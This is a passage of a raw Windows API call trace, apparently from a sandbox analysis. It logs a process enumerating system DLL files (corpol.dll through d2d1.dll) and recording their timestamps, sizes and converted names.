lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONSOLE.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.009] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0194.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0xd3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPOL.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.009] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0194.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0xd3c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPFILTERS.DLL", lpUsedDefaultChar=0x0) returned 13 [0194.010] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0194.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDSSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.010] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0194.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0xd3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.010] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0194.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0xd3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRTDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.010] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0194.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPT32.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.010] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0194.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0xd3c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTBASE.DLL", lpUsedDefaultChar=0x0) returned 13 [0194.010] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0194.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLG.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.010] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0194.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLL.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.011] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0194.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.011] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0194.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTNET.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.011] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0194.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.011] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0194.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSVC.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.011] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0194.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.011] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0194.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTXML.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.011] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0194.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0xd3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCAPI.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.012] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0194.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0xd3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.012] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0194.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0xd3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCOBJ.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.012] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0194.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0xd3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CTL3D32.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.012] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0194.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_G18030.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.012] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0194.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0194.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0xd3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_IS2022.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.012] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0194.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_ISCII.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.012] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0194.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 